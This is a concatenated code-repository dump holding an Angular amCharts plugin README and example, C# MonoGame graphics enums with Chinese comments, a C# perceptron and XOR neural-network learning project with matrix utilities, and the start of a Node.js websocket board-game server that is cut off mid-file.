"autoGridCount":true, "selectedGraphFillAlpha":0, "graphLineAlpha":0.2, "graphLineColor":"#c2c2c2", "selectedGraphLineColor":"#888888", "selectedGraphLineAlpha":1 }, "chartCursor": { "categoryBalloonDateFormat": "YYYY", "cursorAlpha": 0, "valueLineEnabled":true, "valueLineBalloonEnabled":true, "valueLineAlpha":0.5, "fullWidth":true }, "dataDateFormat": "YYYY", "categoryField": "year", "categoryAxis": { "minPeriod": "YYYY", "parseDates": true, "minorGridAlpha": 0.1, "minorGridEnabled": true }, "export": { "enabled": true } }; } ngOnInit() { this.options = this.makeChartConfig(); // Updates the chart every 3 seconds this.timer = setInterval(() => { this.options = this.makeChartConfig(); }, 3000); } ngOnDestroy() { clearInterval(this.timer); } } <file_sep>Official Angular 2 plugin for amCharts V3 Installation ============ ``` npm install amcharts/amcharts3-angular2 --save ``` How to use ========== 1) In your HTML file, load the amCharts library using `<script>` tags: ``` <script src="https://www.amcharts.com/lib/3/amcharts.js"></script> <script src="https://www.amcharts.com/lib/3/serial.js"></script> <script src="https://www.amcharts.com/lib/3/themes/light.js"></script> ``` ---- 2) In your app module, import the `AmChartsModule` module and add it to the `imports`: ``` import { AmChartsModule } from "amcharts3-angular2"; @NgModule({ imports: [ AmChartsModule ] }) export class AppModule {} ``` ---- 3) Use the `<amCharts>` tag in your `template`, and also specify the `id` and `options`: ``` @Component({ template: `<amCharts [id]="id" [options]="options" [style.width.%]="100" [style.height.px]="500"></amCharts>` }) export class AppComponent { id = "chartdiv"; options = { "type": "serial", "theme": "light", "dataProvider": [] ... }; } ``` ---- 4) If you want to dynamically change the chart config after the chart has been created, you first need to create a *copy* of the existing config: ``` export class AppComponent { changeChart() { // Make a copy of the existing config this.options = JSON.parse(JSON.serialize(this.options)); // Change the config this.options.dataProvider = [...]; } } ``` Alternatively, you can use a function or method to create a new config: ``` export class AppComponent { makeConfig(dataProvider) { return { "type": "serial", "theme": "light", "dataProvider": dataProvider ... }; } changeChart() { this.options = this.makeConfig([...]); } } ``` Why do you need to make a copy of the config? Even if you change the properties of the object, the object itself has not changed, and therefore Angular2 does **not** update AmCharts. But if you make a copy of the object, then Angular2 realizes that the object is different, and so it updates AmCharts. This is an issue with Angular2, and there isn't much we can do about it. ---- You can see some examples in the `examples` directory. ## Changelog ### 1.1.0 * Various fixes * Adding examples ### 1.0.0 * Initial release
9a01f2db65bf08c5a246d432dbbba25d96929e3b
[ "Markdown", "TypeScript" ]
3
TypeScript
hyralm/amcharts3-angular2
9a623301e848d0da3390a3b0ef80d12bcc27aa72
28ae1e96796bf7efc7be5bb8f47b1159b6c78c65
refs/heads/master
<repo_name>Pandorym/WrongProgram<file_sep>/mono_MonoGame.Issues.3689/Pandorym-MonoGame/MonoGame.Framework/Graphics/States/CullMode.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Microsoft.Xna.Framework.Graphics { /// <summary> /// <para>Defines winding orders that may be used to identify back faces for culling.</para> /// <para>定義了背面消隱的使用模式。</para> /// </summary> public enum CullMode { /// <summary> /// <para>Do not cull back faces.</para> /// <para>不進行背面消隱。</para> /// </summary> None, /// <summary> /// <para>Cull back faces with clockwise vertices.</para> /// <para>剔除背面順時針的頂點。</para> /// </summary> CullClockwiseFace, /// <summary> /// <para>Cull back faces with counterclockwise vertices.</para> /// <para>剔除背面逆時針的頂點。</para> /// </summary> CullCounterClockwiseFace } } <file_sep>/mono_MonoGame.Issues.3689/Pandorym-MonoGame/MonoGame.Framework/Graphics/States/CompareFunction.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Microsoft.Xna.Framework.Graphics { /// <summary> /// <para>Defines comparison functions that can be chosen for alpha, stencil, or depth-buffer tests.</para> /// <para>定義了比較方式;可用於 Alpha測試 / 模版測試 / 深度測試。</para> /// </summary> public enum CompareFunction { /// <summary> /// <para>Always pass the test.</para> /// <para>總是通過測試。</para> /// </summary> Always, /// <summary> /// <para>Always fail the test.</para> /// <para>總是不通過測試。</para> /// </summary> Never, /// <summary> /// <para>Accept the new pixel if its value is less than the value of the current pixel.</para> /// <para>如果新像素的值小於當前像素,那麼通過。</para> /// </summary> Less, /// <summary> /// <para>Accept the new pixel if its value is less than or equal to the value of the current pixel.</para> /// <para>如果新像素的值小於等於當前像素,那麼通過。</para> /// </summary> LessEqual, /// <summary> /// <para>Accept the new pixel if its value is equal to the value of the current pixel.</para> /// <para>如果新像素的值等於當前像素,那麼通過。</para> /// </summary> Equal, /// <summary> /// <para>Accept the new pixel if its value is greater than or equal to the value of the current pixel.</para> /// <para>如果新像素的值大於等於當前像素,那麼通過。</para> /// </summary> GreaterEqual, /// <summary> /// <para>Accept the new pixel if its value is greater than the value of the current pixel.</para> /// <para>如果新像素的值大於當前像素,那麼通過。</para> /// </summary> Greater, /// <summary> /// <para>Accept the new pixel if its value does not equal the value of the current pixel.</para> /// <para>如果新像素的值不等於當前像素,那麼通過。</para> /// </summary> NotEqual } } <file_sep>/mono_MonoGame.Issues.3689/Pandorym-MonoGame/MonoGame.Framework/Graphics/Vertices/IndexElementSize.cs using System; namespace Microsoft.Xna.Framework.Graphics { /// <summary> /// 每個頂點索引元素的大小 /// </summary> public enum IndexElementSize { /// <summary> /// 十六位 /// </summary> SixteenBits, /// <summary> /// 三十二位 /// </summary> ThirtyTwoBits } }
89b0cda2c7581a5d584cae762144fc392b59c420
[ "C#" ]
3
C#
Pandorym/WrongProgram
c6ad4733545894528dc7c47bde0b78f06935e4dd
4dbfda89daa38c7538c7485fa5501e1ffca8b5a1
refs/heads/master
<file_sep>const curry = require('lodash/fp/curry'); const thenIf = curry((condition, f, p) => p.then(v => (condition(v) ? f(p) : v))); module.exports = thenIf; <file_sep>const curry = require('lodash/fp/curry'); const then = curry((f, p) => p.then(f)); module.exports = then; <file_sep>const main = require('../index'); const allP = require('../allP'); const catchR = require('../catchR'); const thenIf = require('../thenIf'); const then = require('../then'); describe('The main module', () => { it('should export an object', () => { expect(main).toEqual(jasmine.any(Object)); }); describe('and that object should have', () => { it('allP as its allP method', () => { expect(main.allP).toBe(allP); }); it('catchR as its catchR method', () => { expect(main.catchR).toBe(catchR); }); it('thenIf as its thenIf method', () => { expect(main.thenIf).toBe(thenIf); }); it('then as its then method', () => { expect(main.then).toBe(then); }); }); }); <file_sep>const thenTap = require('../thenTap'); describe('thenTap', () => { describe('when passed a function promise-returning function f and a promise p that resolves to v', () => { it('should return a new promise that resolves to v', (done) => { const f = a => Promise.resolve(a + 3); const v = 5; const original = Promise.resolve(v); const returned = thenTap(f, original); returned.then((value) => { expect(value).toBe(v); expect(returned).not.toBe(original); done(); }); }); }); describe('when passed a function f and a promise p that rejects with reason r', () => { it('should return a promise that rejects with r', (done) => { const f = () => {}; const r = new Error('The reason for rejection'); const returned = thenTap(f, Promise.reject(r)); returned.catch((reason) => { expect(reason).toBe(r); done(); }); }); }); }); <file_sep>const catchR = require('../catchR'); const messageForUser = 'Oops, there was a problem on our end'; const f = () => messageForUser; describe('catchR', () => { it('should be a function', () => { expect(catchR).toEqual(jasmine.any(Function)); }); describe('when passed a function f and promise p that rejects with reason r', () => { it('should return a promise that resolves to f(r)', (done) => { const r = new Error('Detailed internal reason for rejection'); const returned = catchR(f, Promise.reject(r)); returned.then((value) => { expect(value).toBe(messageForUser); done(); }); }); }); describe('when passed a function f and a promise p the resolves to value v', () => { it('should return a promise that resolves to v', (done) => { const v = 5; const returned = catchR(f, Promise.resolve(v)); returned.then((value) => { expect(value).toBe(v); done(); }); }); }); }); <file_sep>const curry = require('lodash/fp/curry'); const thenTap = curry((f, p) => p.then(v => f.call(this, v).then(() => v))); module.exports = thenTap; <file_sep>const thenIf = require('../thenIf'); const c = a => a > 5; const f = p => p.then(value => value + 1); describe('thenIf', () => { describe('when passed a condition c, function f, and promise p that resolves to v', () => { describe('when c(v) is true', () => { it('should return a promise that resolves to f(p)', () => { const v = 8; const p = Promise.resolve(v); const returned = thenIf(c, f, p); const expected = f(p); returned.then((value) => { expected.then((value1) => { expect(value).toBe(value1); }); }); }); }); describe('when c(v) is not true', () => { it('should return a promise that resolve to v', () => { const v = 4; const returned = thenIf(c, f, Promise.resolve(v)); returned.then((value) => { expect(value).toBe(v); }); }); }); describe('when passed a condition c, function f, and promise p that rejects with r', () => { it('should return a promise that rejects with r', () => { const r = new Error('Reason for rejection'); const returned = thenIf(c, f, Promise.reject(r)); returned.catch((reason) => { expect(reason).toBe(r); }); }); }); }); }); <file_sep>const curry = require('lodash/fp/curry'); const catchR = curry((f, p) => p.catch(f)); module.exports = catchR; <file_sep>const allP = require('../allP'); describe('allP', () => { it('should be a function', () => { expect(allP).toEqual(jasmine.any(Function)); }); describe('when passed an array of promises [p1, p2, ..., pn] that resolve to v1, v2, ..., vn', () => { it('should return a promise that resolves to an array [v1, v2, ..., vn]', (done) => { const p1 = Promise.resolve(1); const p2 = Promise.resolve(4); const p3 = Promise.resolve(10); const returned = allP([p1, p2, p3]); returned.then((values) => { expect(values).toEqual([1, 4, 10]); done(); }); }); }); describe('when passed an array of promises containing at least one which rejects', () => { it('should return a promise that rejects', (done) => { const p1 = Promise.resolve(); const p2 = Promise.reject(new Error('Reason for rejection')); const p3 = Promise.resolve(); const returned = allP([p1, p2, p3]); returned.catch((reason) => { expect(reason).toEqual(jasmine.any(Error)); done(); }); }); }); }); <file_sep># comp-promise [![Build Status](https://travis-ci.org/mmcglone/comp-promise.svg?branch=master)](https://travis-ci.org/mmcglone/comp-promise) [![Coverage Status](https://coveralls.io/repos/mmcglone/comp-promise/badge.svg?branch=master)](https://coveralls.io/r/mmcglone/comp-promise?branch=master) [![npm version](https://badge.fury.io/js/comp-promise.svg)](https://badge.fury.io/js/comp-promise) A tiny Javascript library to help with promises in functional composition ## Example Usage ```javascript const compose = require('lodash/fp/compose'); const { then } = require('comp-promise'); const fetchUser = id => { if (id === 123) { return Promise.resolve({ id: 123, firstName: 'John', lastName: 'Smith' }); } return Promise.reject(new Error('No such user')); }; const fullName = user => `${user.firstName} ${user.lastName}`; const main = compose( then(fullName), fetchUser ); main(123); // Returns a promise that resolves to '<NAME>' main(456); // Returns a promise that rejects with a 'No such user' Error ``` <file_sep>const mainConfig = require('../.eslintrc'); const env = Object.assign( {}, mainConfig.env, { jasmine: true } ); module.exports = Object.assign( {}, mainConfig, { env } ); <file_sep>const allP = promises => Promise.all(promises); module.exports = allP; <file_sep>#!/usr/bin/env bash if [ -z $TRAVIS_TAG ]; then echo "TRAVIS_TAG env var is not defined, not a tag build."; exit 1; fi npm version --no-git-tag-version $TRAVIS_TAG if [[ $? == 0 ]]; then npm publish else echo "Failed to Update npm version to $TRAVIS_TAG" exit 1; fi
eb47cf426b772fd2c3149f71f80083d1f1733f42
[ "JavaScript", "Markdown", "Shell" ]
13
JavaScript
mmcglone/comp-promise
acb97e951b226a73a0d5f0afe5a673a57c44acbc
2849fb95c694ff0a234b06d76470a34f2d8c9547
refs/heads/master
<repo_name>zehreken/perceptron<file_sep>/Source/UnitTests/MatrixTests.cs using System; using System.Security.Cryptography; namespace perceptron.Source { public static class MatrixTests { public static void Run() { var test = new double[2, 3]; double temp = 1; for (int i = 0; i < test.GetLength(0); i++) { for (int j = 0; j < test.GetLength(1); j++) { test[i, j] = temp++; } } Console.WriteLine("Test matrix"); Console.WriteLine(test.Printable()); Console.WriteLine("Test matrix transpose"); Console.WriteLine(test.Transpose().Printable()); Console.WriteLine("Scalar matrix multiplication"); Console.WriteLine(MatrixUtils.Multiply(test.Transpose(), 3).Printable()); Console.WriteLine("Matrix multiplication"); Console.WriteLine(MatrixUtils.Multiply(test, test.Transpose()).Printable()); var singleDim = new double[1, 1]; for (int i = 0; i < singleDim.GetLength(0); i++) { for (int j = 0; j < singleDim.GetLength(1); j++) { Console.WriteLine("singleDim: " + singleDim[i, j]); } } } } }<file_sep>/Source/Networks/GenericStepPerceptronNoHidden.cs using System; namespace perceptron.Source { public class GenericStepPerceptronNoHidden : INeuralNetwork { private double[,] weights; private const double learningRate = 0.1; private const double threshold = 0.5; public GenericStepPerceptronNoHidden(int inputNeuronCount) { if (inputNeuronCount <= 1) throw new Exception("Input neuron count should be greater than 1"); weights = new double[inputNeuronCount, 1]; } public bool Train(int[] input, int desiredValue) { return default(bool); } // REVIEW: input matrix has 1 column public bool Train(double[,] input, double desiredValue) { double output; double sum = MatrixUtils.ElementsSum(MatrixUtils.Multiply(weights, input)); output = Utils.StepF(sum, threshold); bool correct = output == desiredValue; if (!correct) { for (int i = 0; i < input.Length; i++) { if (input[i, 0] > 0) { weights[i, 1] += (desiredValue - output) * learningRate; } } } return correct; } public double Use(int[] input) { return default(double); } public override string ToString() { return default(string); } } }<file_sep>/Source/Utils.cs using System; using System.Collections.Generic; namespace perceptron.Source { public static class Utils { public static readonly List<int[]> TrainingInputSet = new List<int[]> { new[] {0, 0}, new[] {0, 1}, new[] {1, 0}, new[] {1, 1} }; public static int[] OutputAnd = {0, 0, 0, 1}; public static int[] OutputOr = {0, 1, 1, 1}; public static readonly int[] OutputXor = {0, 1, 1, 0}; public static int StepF(double x, double threshold) { return x > threshold ? 1 : 0; } public static double SigmoidF(double x) { return 1 / (1 + Math.Exp(-x)); } public static double DerivativeSigmoidF(double x) { return SigmoidF(x) * (1 - SigmoidF(x)); } } }<file_sep>/Source/Networks/SigmoidPerceptron.cs using System; namespace perceptron.Source { public class SigmoidPerceptron : INeuralNetwork { private readonly double[] _weights; private readonly double _learningRate; private const double ErrorMargin = 0.01; private const double Threshold = 0.5; private const double NeuronThreshold = 0.2; public SigmoidPerceptron(double learningRate = 0.1) { _learningRate = learningRate; _weights = new double[2]; } public bool Train(int[] input, int desiredValue) { double sum = 0; for (int i = 0; i < _weights.Length; i++) { sum += input[i] * _weights[i]; } var output = Utils.SigmoidF(sum - NeuronThreshold) > Threshold ? 1 : 0; bool correct = desiredValue == output; // Console.WriteLine("sum: {0:0.00} |output: {1:0.00} |w0: {2:0.00} |w1: {3:0.00} |desired: {4:0.00} |i0: {5:0.00} |i1: {6:0.00}", sum, output, _weights[0], _weights[1], desiredValue, input[0], input[1]); if (!correct) { for (int i = 0; i < _weights.Length; i++) { if (input[i] > 0) { _weights[i] += (desiredValue - output) * _learningRate; } } } return correct; } public double Use(int[] input) { double sum = 0; for (int i = 0; i < _weights.Length; i++) { sum += input[i] * _weights[i]; } var output = Utils.SigmoidF(sum - NeuronThreshold) > Threshold ? 1 : 0; return output; } public override string ToString() { string s = "weight0: " + _weights[0]; s += "\nweight1: " + _weights[1]; return s; } } }<file_sep>/Source/INeuralNetwork.cs namespace perceptron.Source { public interface INeuralNetwork { bool Train(int[] input, int desiredValue); double Use(int[] input); } }<file_sep>/Source/Networks/StepXorGate.cs using System; namespace perceptron.Source { public class StepXorGate : INeuralNetwork { private double[,] inputWeights; private double[] hiddenWeights; private const float learningRate = 0.1f; private double threshold = 0.5; private double[] hiddenBias; private double outputBias; private double errorMargin = 0.001; public StepXorGate() { inputWeights = new double[2, 2]; hiddenWeights = new double[2]; hiddenBias = new double[2]; } public bool Train(int[] input, int desiredValue) { double output; double sum0 = input[0] * inputWeights[0, 0] + input[1] * inputWeights[1, 0] + hiddenBias[0]; double h0input = Utils.StepF(sum0, 0.5); double sum1 = input[0] * inputWeights[0, 1] + input[1] * inputWeights[1, 1] + hiddenBias[1]; double h1input = Utils.StepF(sum1, 0.5); double sum = h0input * hiddenWeights[0] + h1input * hiddenWeights[1] + outputBias; output = Utils.StepF(sum, 0.5); bool correct = output == desiredValue; if (!correct) { if (input[0] > 0) { inputWeights[0, 0] += (desiredValue - h0input) * learningRate; inputWeights[0, 1] += (desiredValue - h0input) * learningRate; } if (input[1] > 0) { inputWeights[1, 0] += (desiredValue - h1input) * learningRate; inputWeights[1, 1] += (desiredValue - h1input) * learningRate; } if (h0input > 0) { hiddenWeights[0] += (desiredValue - output) * learningRate; } if (h1input > 0) { hiddenWeights[1] += (desiredValue - output) * learningRate; } hiddenBias[0] += (desiredValue - output) * learningRate; hiddenBias[1] += (desiredValue - output) * learningRate; outputBias += (desiredValue - output) * learningRate; } return correct; } public double Use(int[] input) { double output; double sum0 = input[0] * inputWeights[0, 0] + input[1] * inputWeights[1, 0] + hiddenBias[0]; double h0input = Utils.StepF(sum0, 0.5); double sum1 = input[0] * inputWeights[0, 1] + input[1] * inputWeights[1, 1] * hiddenBias[1]; double h1input = Utils.StepF(sum1, 0.5); double sum = h0input * hiddenWeights[0] + h1input * hiddenWeights[1] + outputBias; output = Utils.StepF(sum, 0.5); return output; } public override String ToString() { string s = "inputWeights0_0: " + inputWeights[0, 0]; s += "\ninputWeights0_1: " + inputWeights[0, 1]; s += "\ninputWeights1_0: " + inputWeights[1, 0]; s += "\ninputWeights1_1: " + inputWeights[1, 1]; s += "\nhiddenBias0: " + hiddenBias[0]; s += "\nhiddenBias1: " + hiddenBias[1]; s += "\noutputBias: " + outputBias; return s; } } }<file_sep>/Source/Networks/SigmoidXorGate.cs using System; namespace perceptron.Source { public class SigmoidXorGate : INeuralNetwork { private readonly double[,] _inputWeights; private readonly double[] _hiddenWeights; private const double LearningRate = 0.1; private readonly double[] _hiddenBias; private readonly double _outputBias; private const double Threshold = 0.5; public SigmoidXorGate() { _inputWeights = new double[,] {{1, 1}, {1, 1}}; _hiddenWeights = new double[] {1, -1}; _hiddenBias = new double[] {-0.5, -1.5}; _outputBias = -0.2; } public bool Train(int[] input, int desiredValue) { double sum0 = input[0] * _inputWeights[0, 0] + input[1] * _inputWeights[1, 0] + _hiddenBias[0]; // first hidden node double h0Input = Utils.SigmoidF(sum0); double sum1 = input[0] * _inputWeights[0, 1] + input[1] * _inputWeights[1, 1] + _hiddenBias[1]; // second hidden node double h1Input = Utils.SigmoidF(sum1); double sumH = h0Input * _hiddenWeights[0] + h1Input * _hiddenWeights[1] + _outputBias; double res = Utils.SigmoidF(sumH); int output = res > Threshold ? 1 : 0; Console.WriteLine(res + " " + output); Console.WriteLine(ToString()); Console.WriteLine("-----------------------------------"); bool correct = output == desiredValue; if (!correct) { if (input[0] > 0) { _inputWeights[0, 0] += (res - h0Input) * LearningRate; _inputWeights[0, 1] += (res - h0Input) * LearningRate; } if (input[1] > 0) { _inputWeights[1, 0] += (res - h1Input) * LearningRate; _inputWeights[1, 1] += (res - h1Input) * LearningRate; } if (h0Input > 0) { _hiddenWeights[0] += (desiredValue - res) * LearningRate; } if (h1Input > 0) { _hiddenWeights[1] += (desiredValue - res) * LearningRate; } } return correct; } public double Use(int[] input) { double sum0 = input[0] * _inputWeights[0, 0] + input[1] * _inputWeights[1, 0] + _hiddenBias[0]; // first hidden node double h0Input = Utils.SigmoidF(sum0); double sum1 = input[0] * _inputWeights[0, 1] + input[1] * _inputWeights[1, 1] + _hiddenBias[1]; // second hidden node double h1Input = Utils.SigmoidF(sum1); double sumH = h0Input * _hiddenWeights[0] + h1Input * _hiddenWeights[1] + _outputBias; double res = Utils.SigmoidF(sumH); int output = res > Threshold ? 1 : 0; return output; } public override string ToString() { string s = "inputWeights0_0: " + _inputWeights[0, 0]; s += "\ninputWeights0_1: " + _inputWeights[0, 1]; s += "\ninputWeights1_0: " + _inputWeights[1, 0]; s += "\ninputWeights1_1: " + _inputWeights[1, 1]; s += "\nhiddenWeights0: " + _hiddenWeights[0]; s += "\nhiddenWeights1: " + _hiddenWeights[1]; s += "\nhiddenBias0: " + _hiddenBias[0]; s += "\nhiddenBias1: " + _hiddenBias[1]; s += "\noutputBias: " + _outputBias; return s; } } }<file_sep>/Program.cs using System; using System.Collections.Generic; using perceptron.Source; namespace perceptron { internal class Program { public static void Main(string[] args) { // RandomTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // OrderTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // ReverseTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // AssertTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // RandomTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // OrderTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // ReverseTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // AssertTrainAndUseAnn(new StepPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // OrderTrainAndUseAnn(new SigmoidPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // OrderTrainAndUseAnn(new SigmoidPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // RandomTrainAndUseAnn(new BiasedPerceptron(), Utils.trainingInputSet, Utils.outputAND, 100); // RandomTrainAndUseAnn(new BiasedPerceptron(), Utils.trainingInputSet, Utils.outputOR, 100); // RandomTrainAndUseAnn(new SigmoidXorGate(), Utils.trainingInputSet, Utils.outputXOR, 100); // OrderTrainAndUseAnn(new SigmoidXorGate(), Utils.trainingInputSet, Utils.outputXOR, 100); // AssertTrainAndUseAnn(new SigmoidXorGate(), Utils.TrainingInputSet, Utils.OutputXor, 100000); // AssertTrainAndUseAnn(new StepXorGate(), Utils.trainingInputSet, Utils.outputXOR, 100); // var random = new Random(0); // var gsp = new GenericStepPerceptronNoHidden(2); // for (int i = 0; i < 100; i++) // { // int rnd = random.Next(0, 4); //// gsp.Train(, outputSet[rnd]); // } // UseANN(ann, trainingInputSet); // MatrixTests.Run(); } private static void RandomTrainAndUseAnn(INeuralNetwork ann, List<int[]> trainingInputSet, int[] outputSet, int stepCount) { var random = new Random(0); for (int i = 0; i < stepCount; i++) { int rnd = random.Next(0, 4); ann.Train(trainingInputSet[rnd], outputSet[rnd]); } UseAnn(ann, trainingInputSet); } private static void OrderTrainAndUseAnn(INeuralNetwork ann, List<int[]> trainingInputSet, int[] outputSet, int stepCount) { for (int i = 0; i < stepCount; i++) { int index = i / (stepCount / 4); ann.Train(trainingInputSet[index], outputSet[index]); } UseAnn(ann, trainingInputSet); } private static void ReverseTrainAndUseAnn(INeuralNetwork ann, List<int[]> trainingInputSet, int[] outputSet, int stepCount) { for (int i = stepCount - 1; i >= 0; i--) { int index = i / (stepCount / 4); ann.Train(trainingInputSet[index], outputSet[index]); } UseAnn(ann, trainingInputSet); } private static void AssertTrainAndUseAnn(INeuralNetwork ann, List<int[]> trainingInputSet, int[] outputSet, int maxStepCount) { int index = 0; for (int i = 0; i < maxStepCount; i++) { if (ann.Train(trainingInputSet[index], outputSet[index])) { Console.WriteLine("step: {0}\t |index: {1}\t |output:{2}", i, index, outputSet[index]); index++; if (index == trainingInputSet.Count) { break; } } } UseAnn(ann, trainingInputSet); } private static void UseAnn(INeuralNetwork ann, List<int[]> trainingInputSet) { Console.WriteLine("Trained Network --------------------------------------------------------"); for (int i = 0; i < trainingInputSet.Count; i++) { Console.WriteLine(ann.Use(trainingInputSet[i])); } Console.WriteLine(ann); Console.WriteLine("------------------------------------------------------------------------"); Console.WriteLine(); } } }<file_sep>/Source/MatrixUtils.cs using System; using System.Collections; namespace perceptron.Source { public static class MatrixUtils { public static T[,] Transpose<T>(this T[,] matrix) { T[,] transposed = new T[matrix.GetLength(1), matrix.GetLength(0)]; for (int i = 0; i < matrix.GetLength(0); i++) { for (int j = 0; j < matrix.GetLength(1); j++) { transposed[j, i] = matrix[i, j]; } } return transposed; } // public static T[,] Multiply<T>(T[,] a, T[,] b) where T : struct, IConvertible // { // if (a.GetLength(1) != b.GetLength(0)) // throw new Exception("Matrix dimensions are not suitable for multiplication"); // // T[,] product = new T[a.GetLength(0), b.GetLength(1)]; // for (int i = 0; i < a.GetLength(0); i++) // { // for (int j = 0; j < a.GetLength(1); j++) // { // for (int k = 0; k < b.GetLength(1); k++) // { // product[i, k] = a[i, j] * b[j, k]; // } // } // } // return matrix; // } public static double[,] Multiply(double[,] a, double[,] b) { if (a.GetLength(1) != b.GetLength(0)) throw new Exception("Matrix dimensions are not suitable for multiplication"); var product = new double[a.GetLength(0), b.GetLength(1)]; for (int i = 0; i < a.GetLength(0); i++) { for (int j = 0; j < a.GetLength(1); j++) { for (int k = 0; k < b.GetLength(1); k++) { product[i, k] += a[i, j] * b[j, k]; } } } return product; } public static double[,] Multiply(double[,] a, double b) { var product = new double[a.GetLength(0), a.GetLength(1)]; for (int i = 0; i < a.GetLength(0); i++) { for (int j = 0; j < a.GetLength(1); j++) { product[i, j] = a[i, j] * b; } } return product; } public static double ElementsSum(double[,] a) { double sum = 0; for (int i = 0; i < a.GetLength(0); i++) { for (int j = 0; j < a.GetLength(1); j++) { sum += a[i, j]; } } return sum; } public static string Printable<T>(this T[,] matrix) { string s = ""; for (int i = 0; i < matrix.GetLength(0); i++) { for (int j = 0; j < matrix.GetLength(1); j++) { s += matrix[i, j] + " "; } s += "\n"; } return s; } } }<file_sep>/Source/Networks/BiasedPerceptron.cs using System; namespace perceptron.Source { public class BiasedPerceptron : INeuralNetwork { private double[] weights; private double bias; // this belongs to the output neuron private const double learningRate = 0.1; private const double threshold = 0.5; public BiasedPerceptron() { weights = new double[2]; } public bool Train(int[] input, int desiredValue) { int output; double sum = 0; for (int i = 0; i < weights.Length; i++) { sum += input[i] * weights[i]; } sum += bias; output = Utils.StepF(sum, threshold); bool correct = output == desiredValue; if (!correct) { for (int i = 0; i < weights.Length; i++) { if (input[i] > 0) { weights[i] += (desiredValue - output) * learningRate; } } bias += (desiredValue - output) * learningRate; } return correct; } public double Use(int[] input) { int output; double sum = 0; for (int i = 0; i < weights.Length; i++) { sum += input[i] * weights[i]; } sum += bias; output = Utils.StepF(sum, threshold); return output; } public override string ToString() { string s = "weight0: " + weights[0]; s += "\nweight1: " + weights[1]; s += "\nbias: " + bias; return s; } } }<file_sep>/Source/Networks/StepPerceptron.cs namespace perceptron.Source { public class StepPerceptron : INeuralNetwork { private readonly double[] _weights; private const double LearningRate = 0.1; private const double Threshold = 0.5; public StepPerceptron() { _weights = new double[2]; } public bool Train(int[] input, int desiredValue) { double sum = 0; for (int i = 0; i < _weights.Length; i++) { sum += input[i] * _weights[i]; } var output = Utils.StepF(sum, Threshold); bool isCorrect = output == desiredValue; if (!isCorrect) { for (int i = 0; i < _weights.Length; i++) { if (input[i] > 0) { _weights[i] += (desiredValue - output) * LearningRate; } } } return isCorrect; } public double Use(int[] input) { double sum = 0; for (int i = 0; i < _weights.Length; i++) { sum += input[i] * _weights[i]; } var output = Utils.StepF(sum, Threshold); return output; } public override string ToString() { string s = "weight0: " + _weights[0]; s += "\nweight1: " + _weights[1]; return s; } } }
86c70f6ac9d8b034c82322523ac09c93fadedac4
[ "C#" ]
11
C#
zehreken/perceptron
512b369f9cd5a25c903ab5384e78ca86759ba672
c68df2c923a55e0017755adb08f3c7409bd933f0
refs/heads/master
<repo_name>pablomassizzo/yuuha<file_sep>/app copy.js var express = require("express"); var http = require("http"); var websocket = require("ws"); var port = process.argv[2]; var app = express(); app.use(express.static(__dirname + "/public")); const server = http.createServer(app); const wss = new websocket.Server({ server }); wss.on("connection", function connection(ws) { console.log(`connection from browser ${ws}`); let board = { A1:"", B1:"", C1:"", D1:"", E1:"", F1:"", G1:"", H1:"", A2:"", B2:"", C2:"", D2:"", E2:"", F2:"", G2:"", H2:"", A3:"", B3:"", C3:"", D3:"", E3:"", F3:"", G3:"", H3:"", A4:"", B4:"", C4:"", D4:"", E4:"", F4:"", G4:"", H4:"", A5:"", B5:"", C5:"", D5:"", E5:"", F5:"", G5:"", H5:"", A6:"", B6:"", C6:"", D6:"", E6:"", F6:"", G6:"", H6:"", A7:"", B7:"", C7:"", D7:"", E7:"", F7:"", G7:"", H7:"", A8:"", B8:"", C8:"", D8:"", E8:"", F8:"", G8:"", H8:"", } const HIGHLIGHT = "*"; setUpBoard(); function setUpBoard(){ board["B1"]="BH1"; board["G1"]="BH2"; } function isValidMove(from, to){ if(from===to){ return false; } else { return true; } } function movePiece(toCell){ console.log("move '" + fromCell + "' -> '" + toCell + "'"); if(isValidMove(fromCell, toCell)){ let piece = board[fromCell]; // remove highlight if(piece.startsWith(HIGHLIGHT)){ piece = piece.substring(1); } // move piece board[toCell]=piece; board[fromCell]=""; } // reset from if(board[fromCell].startsWith(HIGHLIGHT)){ board[fromCell]=board[fromCell].substring(1); } // reset from fromCell = ""; } let fromCell = ""; function prepareMove(from){ console.log("prepare move for " + from + ", " + boardToString()) const piece = board[from]; if(piece.length===3){ // valid - cell has a piece fromCell = from; board[fromCell]=HIGHLIGHT+board[fromCell]; } else { // invalid - cell has no piece fromCell = ""; } console.log("done prepare fromCell=" + fromCell + ", " + boardToString()) } function boardToString(){ msg = "Board State ="; for(cell in board){ piece = board[cell]; if(piece!=""){ msg = msg + "" + cell + ":" + piece; } } msg = msg + "]"; return msg; } ws.on('message', (message) => { console.log('\nmessage from broswer -> "%s"', message); if ( message.startsWith("CLICK ON") ) { let clickedCell = message.substring("CLICK ON".length+1); if( fromCell==="" ) { // first click (from) prepareMove(clickedCell); } else { // second click (to) movePiece(clickedCell); } } console.log(boardToString()); //console.log("send message '" + JSON.stringify(board)+ "'"); ws.send(JSON.stringify(board)); }); }); server.listen(port); console.log("listening on port"+port); <file_sep>/app.js var express = require("express"); var http = require("http"); var websocket = require("ws"); var Game = require("./game.js"); var port = process.argv[2]; var app = express(); app.use(express.static(__dirname + "/public")); const server = http.createServer(app); const wss = new websocket.Server({ server }); let game = Game.init(); var websockets = {}; setInterval(function() { for (let i in websockets) { if (Object.prototype.hasOwnProperty.call(websockets,i)) { let gameObj = websockets[i]; if (gameObj.finalStatus != null) { delete websockets[i]; } } } }, 50000); var connectionID = 0; wss.on("connection", function connection(ws) { let con = ws; con.id = connectionID++; game.addUser(con); websockets[con.id] = game; 